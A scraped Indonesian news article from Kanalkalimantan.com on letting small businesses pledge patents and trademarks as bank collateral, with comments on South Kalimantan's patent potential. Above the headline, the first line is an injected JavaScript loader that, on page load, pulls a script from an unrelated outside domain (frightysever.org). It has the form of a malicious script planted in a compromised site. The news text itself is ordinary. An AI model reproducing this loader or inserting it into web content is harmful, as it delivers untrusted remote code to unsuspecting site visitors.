(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Paten Produk dan Merek Bisa Jadi Jaminan Perbankan, Potensi Kalsel Cukup Besar


KANALKALIMANTAN.COM, JAKARTA– Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno tengah menyusun aturan turunan Undang-undang Nomor 24 Tahun 2019 Tentang Ekonomi Kreatif. Salah satunya terkait pembiayaan UMKM berbasis kekayaan intelektual. Potensi ini pun cukup besar dikembangkan di Kalsel.

Sandi menjelaskan, nantinya pelaku usaha bisa mendapatkan modal perbankan dengan jaminan kekayaan intelektual mulai dari hak paten produk dan merek.

“UMKM begitu sudah daftar kekayaan intelektual bisa dijaminkan ke perbankan dan bisa digunakan sebagai aset,” ujar Sandiaga dalam sebuah webinar, Senin (26/4/2021).

Mantan Wakil Gubernur DKI Jakarta ini menuturkan, dengan hak paten produk dan merek bisa menjadi jaminan, maka aset fisik yang dimiliki UMKM tetap utuh.

“Tidak perlu pinjam kolateral, tidak perlu pinjam agunan. Sehingga akses pembiayaan pelaku ekonomi kreatif dengan aspek memadai bisa kita hadirkan realisasi dan eksekusi sebagai bentuk yang dihadirkan kementerian,” ucap dia.

Sandiaga menambahkan, adanya pendaftaran produk dan merek bisa juga menambah pendapatan para pelaku usaha UMKM.

Sebab, terangnya, pelaku usaha bisa menjual hak produk dan merek ke masyarakat lewat mekanisme waralaba.

“Semua regulasi kami mewujudkan penciptaan nilai tambah dan terpenting dalam bisnis itu value added. Harus punya nilai tambah dan UMKM sektor ekonomi kreatif bisa berkembang dari kecil menengah besar dan mendapat perlindungan hukum,” imbuhnya.

Dalam hal ini, Sandiaga juga telah mengeluarkan program agar para UMKM bisa mendaftarkan produk dan mereknya secara gratis di Kemenparekraf.

Lebih dari 8.000 kuota UMKM telah disiapkan Sandiaga dalam mendaftarkan produk dan merek secara online.

“Insya Allah dari teman-teman dari daerah semua kita beri akses UMKM mendaftarkan produk-produk ekonomi kreatifnya pada kekayaan intelektual, semoga program ini UMKM bisa bangkit,” kata dia.

 

Potensi Paten di Kalsel

Koordinator Sentra Hak Kekayaan Intelektual (HKI) Universitas Lambung Mangkurat (ULM), Dwi Rasy Mujiyanti S.Si, M.Si mengatakan, UMKM di Kalsel memiliki banyak potensi dalam pengajuan paten. Tentunya ini menjadi modal besar untuk dikembangkan ke depannya.

“Banyak hasil kerja kreatif yang dilakukan UMKM di Kalsel yang jika diajukan paten akan memberikan keuntungan. Baik bagi pelaku usaha, maupun Kalsel secara umum,” katanya.

Dwi Rasy menambahkan, di ULM sendiri tren pengajuan paten terus mengalami peningkatan signifikan. Dari tahun 2013 yang hanya 10 paten, kini tahun 2020 memiliki 115 paten terdaftar. Jumlah ini lebih banyak dibandingkan tahun 2019 yang memiliki sekitar 90 paten terdaftar.

“Harus diakui Kalsel memiliki kekayaan SDA untuk dikembangkan. Misalnya saja, terkait keragaman tanaman yang potensial untuk dijadikan produk. Seperti daun gaharu untuk anti oksidan dan diabetes, yang telah diajukan patennya. Demikian juga pembuatan biskuit tepung biji teratai dan tebung ubi Alabio, pengembangan produksi tempe kacang negara, hingga pembuatan gel batang pisang mauli sebagai penyembuh luka kulit,” terang dosen FMIPA ULM ini.

Memang, kata Dwi Rasy, pengajuan paten masih memerlukan proses yang agak panjang. Yakni sekitar 5 tahun, dengan masa perlindungan paten selama 20 tahun. Tapi, ini merupakan peluang yang harus dilakukan Kalsel ke depannya.

“Maka itu perlu ada kerja sama dengan Pemda untuk mendukung. Terutama dengan dinas terkait guna pengembangan produk usaha kecil dan pendaftaran merek,” pungkas Dwi Rasy.(Kanalkalimantan.com/kk)

Editor: cell

 


Al Ghifari

Recent Posts

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

1 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

2 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

3 jam ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

3 jam ago

Pansus II ke KLHK, Bahas Raperda Pengakuan dan Perlindungan Masyarakat Hukum Adat

KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More

3 jam ago

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

4 jam ago

This website uses cookies.